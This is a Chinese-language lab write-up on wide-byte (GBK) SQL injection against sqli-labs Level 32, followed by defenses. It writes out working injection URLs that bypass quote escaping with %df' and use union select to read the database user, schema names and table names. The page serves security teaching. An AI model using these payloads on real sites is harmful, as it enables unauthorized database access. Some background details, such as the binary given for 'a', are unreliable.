6. 网易web安全渗透, sql漏洞之宽字节注入

目录

    • 宽字节注入原理
      • 什么是宽字节
      • 什么是宽字节注入
    • 宽字节注入实战
      • 判断是否存在sql注入漏洞
      • 进行读取数据
    • 宽字节注入防御

宽字节注入原理

什么是宽字节

GB2312、GBK、GB18030、BIG5、Shift_JIS都是常见的宽字节编码

  • 1个字节的字符,是短字节,所有的英文占1个字节

    • 我们都知道1个字节占8位比如a二进制表示就是01011101,0和1组合有255种完全满足英文的
  • 2个字节的字符,是宽字节,中文默认都是占两个字节的

    • 如果我们用1个字节表示中文是远远不够的,所有要用两个字节

什么是宽字节注入

6. 网易web安全渗透, sql漏洞之宽字节注入_第1张图片

防御:有的网站会进行过滤,'给转换成\'
绕过:将\给消灭掉
6. 网易web安全渗透, sql漏洞之宽字节注入_第2张图片

宽字节注入实战

第32关

判断是否存在sql注入漏洞

输入URL:http://192.168.0.108/Less-32/?id=1
正常显示

6. 网易web安全渗透, sql漏洞之宽字节注入_第3张图片
下面加上'
输入URL地址: http://192.168.0.108/Less-32/?id=1'
这个他专门显示了被转换了\'
6. 网易web安全渗透, sql漏洞之宽字节注入_第4张图片
我们就可以进行宽字节探测了
添加%df
输入URL:http://192.168.0.108/Less-32/?id=1%df'
%df\会变成
就没有\

发现是可以注入点
6. 网易web安全渗透, sql漏洞之宽字节注入_第5张图片
如果还是不确定可以用and 1=1来判断

输入URL:http://192.168.0.108/Less-32/?id=1%df' and 1=1 --+
正常
6. 网易web安全渗透, sql漏洞之宽字节注入_第6张图片
输入URL:http://192.168.0.108/Less-32/?id=1%df' and 1=2 --+
没有显示
是确定是存在sql注入漏洞的
6. 网易web安全渗透, sql漏洞之宽字节注入_第7张图片

进行读取数据

和基本的注入查询一样

  1. 判断有几列
    输入URL:http://192.168.0.108/Less-32/?id=1%df' order by 2 --+

    输入2显示正常
    6. 网易web安全渗透, sql漏洞之宽字节注入_第8张图片
    发现输入到4就报错了
    输入URL:http://192.168.0.108/Less-32/?id=1%df' order by 4 --+
    可以判断有3
    6. 网易web安全渗透, sql漏洞之宽字节注入_第9张图片

  2. 观察页面返回,选择可以显示数据的位置,进行下一步的注入
    输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,2,3 --+
    结果是23
    6. 网易web安全渗透, sql漏洞之宽字节注入_第10张图片

  3. 读取库的信息
    输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,user(),3 --+
    内容显示了6. 网易web安全渗透, sql漏洞之宽字节注入_第11张图片

  4. 查看数据库名
    输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,(select schema_name from information_schema.schemata LIMIT 0,1),3 --+
    这个他之显示第一个数据库的名6. 网易web安全渗透, sql漏洞之宽字节注入_第12张图片
    读取全部的库名
    输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
    用到了group_concat()函数,
    应为有很多数据库他只能显示一个,所以用group_concat()叫所以库名都显示到一列中
    6. 网易web安全渗透, sql漏洞之宽字节注入_第13张图片

  5. 读取查表
    通过上面的查询找到数据库全部的数据库名
    通过数据库名就可以查询表了
    输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 --+
    发现报错了应为’security’你面有用'

    6. 网易web安全渗透, sql漏洞之宽字节注入_第14张图片
    我们就可以进行编码逃避用'
    输入URL:http://192.168.0.108/Less-32/?id=-1 %df' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479),3 --+

    就读取出来表了6. 网易web安全渗透, sql漏洞之宽字节注入_第15张图片
    等等后面都和普通的注入方法一样就不演示了

宽字节注入防御

  1. 使用UTF-8就可以完美防御宽字节注入

  2. php mysql_real_escape_string()函数和mysqli_set_charset() 函数

    1.mysql_real_escape_string()是用来转义 SQL 语句中使用的字符串中的特殊字符
    下列字符受影响:

    \x00
    \n
    \r
    \
    '
    "
    \x1a
    

    如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
    2.mysqli_set_charset()函数是修改数据库连接字符集
    他两个组合起来就可以防御了

  3. 设置成二进制的模式就可以了
    mysql_query() 函数执行一条 MySQL 查询
    他有两个参数一个是执行的语句一个是执行的,可选。规定 SQL 连接标识符
    这个里面就可以添加一个character_set_client=binary
    就可以防御了

你可能感兴趣的:(sql注入,sql注入)